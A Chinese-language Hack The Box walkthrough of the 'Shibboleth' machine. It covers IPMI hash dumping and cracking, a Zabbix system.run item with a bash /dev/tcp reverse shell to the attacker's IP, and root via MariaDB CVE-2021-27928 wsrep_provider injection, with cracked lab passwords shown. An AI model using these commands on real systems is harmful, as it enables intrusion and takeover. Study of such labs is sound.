长亭百川云 - 文章详情

【HTB系列】shibboleth

承影安全团队ChengYingTeam

41

2024-07-13

0x01 信息收集

\# nmap 10.10.11.124 --min-rate=1000 -sV -sC -p-  
Starting Nmap 7.92 ( https://nmap.org ) at 2021\-11-23 23:32 EST  
Nmap scan report for loaclhost (10.10.11.124)  
Host is up (0.21s latency).  
Not shown: 65534 closed tcp ports (reset)  
PORT   STATE SERVICE VERSION  
80/tcp open  http    Apache httpd 2.4.41  
|\_http-title: Did not follow redirect to http://shibboleth.htb/  
|\_http-server-header: Apache/2.4.41 (Ubuntu)  
Service Info: Host: shibboleth.htb  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 84.40 seconds  

10.10.11.124 shibboleth.htb

扫一下vhost,没有东西。扫一下UDP 嘿嘿

\# nmap  -sU -p 623 10.10.11.124                                                                                                                   255 ⨯  
Starting Nmap 7.92 ( https://nmap.org ) at 2021\-12-13 21:57 EST  
Nmap scan report for 10.10.11.124  
Host is up (0.50s latency).  
  
PORT    STATE SERVICE  
623/udp open  asf-rmcp  
  
Nmap done: 1 IP address (1 host up) scanned in 1.20 seconds

发现一个UDP端口,服务是**asf-rmcp**

0x02 漏洞挖掘

在hack tricks中有详细描述

经过我的测试发现可以通过msf的扫描模块判断版本

`msf6 auxiliary(scanner/ipmi/ipmi_version) > show options``   ``Module options (auxiliary/scanner/ipmi/ipmi_version):``   `  `Name       Current Setting Required Description`  `----       --------------- -------- -----------`  `BATCHSIZE 256             yes       The number of hosts to probe in each set`  `RHOSTS                     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit`  `RPORT     623             yes       The target port (UDP)`  `THREADS   10               yes       The number of concurrent threads``   ``msf6 auxiliary(scanner/ipmi/ipmi_version) > set rhost 10.10.11.124``rhost => 10.10.11.124``msf6 auxiliary(scanner/ipmi/ipmi_version) > run``   ``[*] Sending IPMI requests to 10.10.11.124->10.10.11.124 (1 hosts)``[+] 10.10.11.124:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)``[*] Scanned 1 of 1 hosts (100% complete)``[*] Auxiliary module execution completed`

还可以使用ipmi_dumphashes模块导出密码hash

`msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes``msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > show options``   ``Module options (auxiliary/scanner/ipmi/ipmi_dumphashes):``   `  `Name                 Current Setting                             Required Description`  `----                 ---------------                             -------- -----------`  `CRACK_COMMON         true                                       yes       Automatically crack common passwords as they are obtained`  `OUTPUT_HASHCAT_FILE                                               no       Save captured password hashes in hashcat format`  `OUTPUT_JOHN_FILE                                                 no       Save captured password hashes in john the ripper format`  `PASS_FILE             /usr/share/metasploit-framework/data/wordl yes       File containing common passwords for offline cracking, one per line`                        `ists/ipmi_passwords.txt`  `RHOSTS                                                           yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/`                                                                              `Using-Metasploit`  `RPORT                 623                                         yes       The target port`  `SESSION_MAX_ATTEMPTS 5                                           yes       Maximum number of session retries, required on certain BMCs (HP iLO 4, etc)`  `SESSION_RETRY_DELAY   5                                           yes       Delay between session retries in seconds`  `THREADS               1                                           yes       The number of concurrent threads (max one per host)`  `USER_FILE             /usr/share/metasploit-framework/data/wordl yes       File containing usernames, one per line`                        `ists/ipmi_users.txt``   ``msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 10.10.11.124``rhosts => 10.10.11.124``msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run``   ``[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:47154804820c0000bc853ff7b9461288b451b6b8a7d227497953d2951254b5672b33551bcaf7f67da123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:77b68095fc39772bcae117e7963cef0dc5f41e3f``[*] Scanned 1 of 1 hosts (100% complete)``[*] Auxiliary module execution completed`

使用hashcat破解

`└─# hashcat -h|grep ipmi`                                                                                                                                                           `└─# hashcat -h|grep -i ipmi        #-i参数匹配不区分大小写                                                                                                                     1 ⨯`  `7300 | IPMI2 RAKP HMAC-SHA1                             | Network Protocols``└─# hashcat -m 7300 /tmp/1 /usr/share/wordlists/rockyou.txt``   ``Dictionary cache hit:``* Filename..: /usr/share/wordlists/rockyou.txt``* Passwords.: 14344385``* Bytes.....: 139921507``* Keyspace..: 14344385``   ``47154804820c0000bc853ff7b9461288b451b6b8a7d227497953d2951254b5672b33551bcaf7f67da123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:77b68095fc39772bcae117e7963cef0dc5f41e3f:ilovepumkinpie1`                                               `Session..........: hashcat``Status...........: Cracked``Hash.Name........: IPMI2 RAKP HMAC-SHA1``Hash.Target......: 47154804820c0000bc853ff7b9461288b451b6b8a7d22749795...f41e3f``Time.Started.....: Mon Dec 13 22:09:58 2021 (3 secs)``Time.Estimated...: Mon Dec 13 22:10:01 2021 (0 secs)``Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)``Guess.Queue......: 1/1 (100.00%)``Speed.#1.........: 2627.7 kH/s (0.69ms) @ Accel:1024 Loops:1 Thr:1 Vec:8``Recovered........: 1/1 (100.00%) Digests``Progress.........: 7397376/14344385 (51.57%)``Rejected.........: 0/7397376 (0.00%)``Restore.Point....: 7393280/14344385 (51.54%)``Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1``Candidates.#1....: iloverobert!!! -> ilovemymum64.``   ``Started: Mon Dec 13 22:09:41 2021``Stopped: Mon Dec 13 22:10:02 2021`

一个用户信息

Administrator:ilovepumkinpie1

这个功能点还可以添加用户(貌似还可以权限,不知道有用没),可以ssh登录。无ssh,无法登陆

`apt install ipmitool``ipmitool -I lanplus -C 0 -H 10.10.11.124 -U Administrator -P ilovepumkinpie1 user set name 3 hehe``ipmitool -I lanplus -C 0 -H 10.10.11.124 -U Administrator -P ilovepumkinpie1 user set password 3 hehe``ipmitool -I lanplus -C 0 -H 10.10.11.124 -U Administrator -P ilovepumkinpie1 user priv 3 4``ipmitool -I lanplus -C 0 -H 10.10.11.124 -U Administrator -P ilovepumkinpie1 user enable``└─# ipmitool -I lanplus -C 0 -H 10.10.11.124 -U Administrator -P ilovepumkinpie1 user list                                                             1 ⨯``ID Name             Callin Link Auth IPMI Msg   Channel Priv Limit``1                   true   false     false     USER``2   Administrator   true   false     true       USER``3      hehe  true   false     true       USER`

然后感觉没招了。无奈,做了一个vhost扫描,发现有vhost有三个子域名。访问发现是一个登录口

mail.shibboleth.htb  
monitor.shibboleth.htb  
zabbix.shibboleth.htb

用户密码成功登录。版本较新5.0.17。网上没有这个版本的洞。扫一下目录,如下,没什么关键的

Target: http://zabbix.shibboleth.htb/  
  
\[09:07:44\] Starting:   
\[09:07:57\] 301 \-  327B  \- /js  \-\>  http://zabbix.shibboleth.htb/js/               
\[09:11:11\] 301 \-  328B  \- /app  \-\>  http://zabbix.shibboleth.htb/app/             
\[09:11:16\] 301 \-  331B  \- /assets  \-\>  http://zabbix.shibboleth.htb/assets/   
\[09:11:16\] 403 \-  286B  \- /assets/  
\[09:11:17\] 301 \-  330B  \- /audio  \-\>  http://zabbix.shibboleth.htb/audio/     
\[09:11:41\] 301 \-  329B  \- /conf  \-\>  http://zabbix.shibboleth.htb/conf/       
\[09:11:42\] 403 \-  286B  \- /conf/                                              
\[09:12:20\] 301 \-  330B  \- /fonts  \-\>  http://zabbix.shibboleth.htb/fonts/     
\[09:12:24\] 200 \-   32KB \- /favicon.ico                                        
\[09:12:37\] 200 \-    2KB \- /image.php                                          
\[09:12:40\] 301 \-  332B  \- /include  \-\>  http://zabbix.shibboleth.htb/include/  
\[09:12:40\] 403 \-  286B  \- /include/                                           
\[09:12:47\] 500 \-    0B  \- /include/config.inc.php                             
\[09:13:01\] 403 \-  286B  \- /js/                                                
\[09:13:11\] 301 \-  330B  \- /local  \-\>  http://zabbix.shibboleth.htb/local/     
\[09:13:14\] 403 \-  286B  \- /local/                                             
\[09:13:24\] 200 \-    2KB \- /maintenance.php                                    
\[09:13:26\] 200 \-    2KB \- /map.php                                            
\[09:13:36\] 403 \-  286B  \- /modules/                                           
\[09:13:36\] 301 \-  332B  \- /modules  \-\>  http://zabbix.shibboleth.htb/modules/  
\[09:14:30\] 200 \-  974B  \- /robots.txt                                         
\[09:14:37\] 403 \-  286B  \- /server-status/                                     
\[09:14:37\] 403 \-  286B  \- /server-status  
\[09:14:42\] 200 \-    2KB \- /setup.php                                          
\[09:15:19\] 403 \-  286B  \- /vendor/

查资料知道Zabbix 有一个参数存在可以命令执行

找到

尝试创建一个item

所以我们的payload

system.run\["/bin/bash -i >& /dev/tcp/10.10.14.50/4444 0>&1",nowait\]

点击TEST按钮即可。查了好多资料,发现这个地方使用的限制比较大,默认不开启这个方法。

0x03 权限提升

cat /etc/passwd |grep \-v nologin|grep \-v false \# -v 管道符不显示  
root:x:0:0:root:/root:/bin/bash  
sync:x:4:65534:sync:/bin:/bin/sync  
ipmi-svc:x:1000:1000:ipmi-svc,,,:/home/ipmi-svc:/bin/bash  

尝试获取flag,发现无权限

\-rw-r----- 1 ipmi-svc ipmi-svc 33 Dec 14 07:01 /home/ipmi-svc/user.txt

看到有开启3306端口

`zabbix@shibboleth:/tmp$ netstat -ant``netstat -ant``Active Internet connections (servers and established)``Proto Recv-Q Send-Q Local Address           Foreign Address         State`      `tcp        0      0 0.0.0.0:10050           0.0.0.0:*               LISTEN`     `tcp        0      0 0.0.0.0:10051           0.0.0.0:*               LISTEN`     `tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN`     `tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN`     `tcp        0     13 10.10.11.124:51748      10.10.14.50:4444        ESTABLISHED``tcp        0      1 10.10.11.124:35144      1.1.1.1:53              SYN_SENT`   `tcp6       0      0 :::10050                :::*                    LISTEN`     `tcp6       0      0 :::10051                :::*                    LISTEN`     `tcp6       0      0 :::80                   :::*                    LISTEN`     `tcp6       0      0 ::1:10051               ::1:45644               TIME_WAIT`  `tcp6       0      0 10.10.11.124:80         10.10.14.50:45332       TIME_WAIT`  `tcp6       0      0 10.10.11.124:80         10.10.14.50:45340       TIME_WAIT`  `tcp6       0      0 ::1:10051               ::1:45604               TIME_WAIT`  `tcp6       0      0 10.10.11.124:80         10.10.14.50:45344       ESTABLISHED``tcp6       0      0 10.10.11.124:80         10.10.14.50:45336       TIME_WAIT`  `tcp6       0      0 ::1:10051               ::1:45612               TIME_WAIT`  `tcp6       0      0 10.10.11.124:80         10.10.14.50:45342       TIME_WAIT`  `tcp6       0      0 10.10.11.124:80         10.10.14.50:45334       TIME_WAIT`  `tcp6       0      0 ::1:10051               ::1:45558               TIME_WAIT`  `tcp6       0      0 10.10.11.124:80         10.10.14.50:45330       TIME_WAIT`  `tcp6       0      0 ::1:10051               ::1:45586               TIME_WAIT`  `tcp6       0      0 ::1:10051               ::1:45596               TIME_WAIT`
\[-\] MYSQL version:  
mysql  Ver 15.1 Distrib 10.3.25-MariaDB, for debian-linux-gnu (x86\_64) using readline 5.2  

搜索一下发现有个刚出炉的。影响范围是:

MariaDB 10.2 before 10.2.37  
        10.3 before 10.3.28  
        10.4 before 10.4.18   
        10.5 before 10.5.9
https://github.com/Al1ex/CVE-2021-27928

查看zabbix配置文件,发现无权限,如下

`drwxr-xr-x  4 root     root      4096 Nov  8 11:02 .``drwxr-xr-x 96 root     root      4096 Nov  8 11:02 ..``-r--------  1 zabbix   zabbix      33 Apr 24  2021 peeesskay.psk``drwxr-xr-x  2 www-data root      4096 Apr 27  2021 web``-rw-r--r--  1 root     root     15317 May 25  2021 zabbix_agentd.conf``-rw-r--r--  1 root     root     15574 Oct 18 09:24 zabbix_agentd.conf.dpkg-dist``drwxr-xr-x  2 root     root      4096 Apr 27  2021 zabbix_agentd.d``-rw-r-----  1 root     ipmi-svc 21863 Apr 24  2021 zabbix_server.conf``-rw-r-----  1 root     ipmi-svc 22306 Oct 18 09:24 zabbix_server.conf.dpkg-dist`

是没有密码。尝试su+弱密码,试了好多不行

想到上面的密码试了可以

ipmi-svc@shibboleth:/home$ id   
  
uid\=1000(ipmi-svc) gid\=1000(ipmi-svc) groups\=1000(ipmi-svc)

没找到什么关机的信息泄露,使用

`ipmi-svc@shibboleth:/home$ grep -iR  passw /etc/``grep: /etc/at.deny: Permission denied``/etc/zabbix/zabbix_agentd.conf:#        Alias=zabbix.userid:vfs.file.regexp[/etc/passwd,^zabbix:.:([0-9]+),,,,\1]``/etc/zabbix/zabbix_server.conf.dpkg-dist:### Option: DBPassword``/etc/zabbix/zabbix_server.conf.dpkg-dist:#      Database password.``/etc/zabbix/zabbix_server.conf.dpkg-dist:#      Comment this line if no password is used.``/etc/zabbix/zabbix_server.conf.dpkg-dist:# DBPassword=``/etc/zabbix/zabbix_server.conf:### Option: DBPassword``/etc/zabbix/zabbix_server.conf:#        Database password.``/etc/zabbix/zabbix_server.conf:#        Comment this line if no password is used.``/etc/zabbix/zabbix_server.conf:DBPassword=ipmi-svc@shibboleth:/home$ grep -iR  passw /etc/``grep -iR  passw /etc/``grep: /etc/at.deny: Permission denied``/etc/zabbix/zabbix_agentd.conf:#        Alias=zabbix.userid:vfs.file.regexp[/etc/passwd,^zabbix:.:([0-9]+),,,,\1]``/etc/zabbix/zabbix_server.conf.dpkg-dist:### Option: DBPassword``/etc/zabbix/zabbix_server.conf.dpkg-dist:#      Database password.``/etc/zabbix/zabbix_server.conf.dpkg-dist:#      Comment this line if no password is used.``/etc/zabbix/zabbix_server.conf.dpkg-dist:# DBPassword=``/etc/zabbix/zabbix_server.conf:### Option: DBPassword``/etc/zabbix/zabbix_server.conf:#        Database password.``/etc/zabbix/zabbix_server.conf:#        Comment this line if no password is used.``/etc/zabbix/zabbix_server.conf:DBPassword=bloooarskybluh`

发现了密码在/etc/zabbix/zabbix_server.conf文件中,查看一下发现有DBname

DBName=zabbix  
DBUser=zabbix  
DBPassword=bloooarskybluh

mysql :mysql -u zabbix -p bloooarskybluh 连接成功

`ps aux |grep mysql``root       31066  0.0  0.0   2608  1704 ?        S    10:22   0:00 /bin/sh /usr/bin/mysqld_safe``root       31189  0.7  2.9 1740284 118544 ?      Sl   10:22   0:06 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb19/plugin --user=root --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock``root       31190  0.0  0.0  10572  1064 ?        S    10:22   0:00 logger -t mysqld -p daemon error``zabbix     33567  0.0  0.0   9036   736 ?        S    10:37   0:00 grep mysql``   `

有了数据库连接 + CVE-2021-27928(root权限启动+命令注入) = root权限

mysql \-u zabbix \-p \-h 127.0.0.1 \-e 'SET GLOBAL wsrep\_provider="/tmp/backdoor.so.1";'

生成反弹shell的一个so文件,传递过去。启动一下,成功获取权限

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2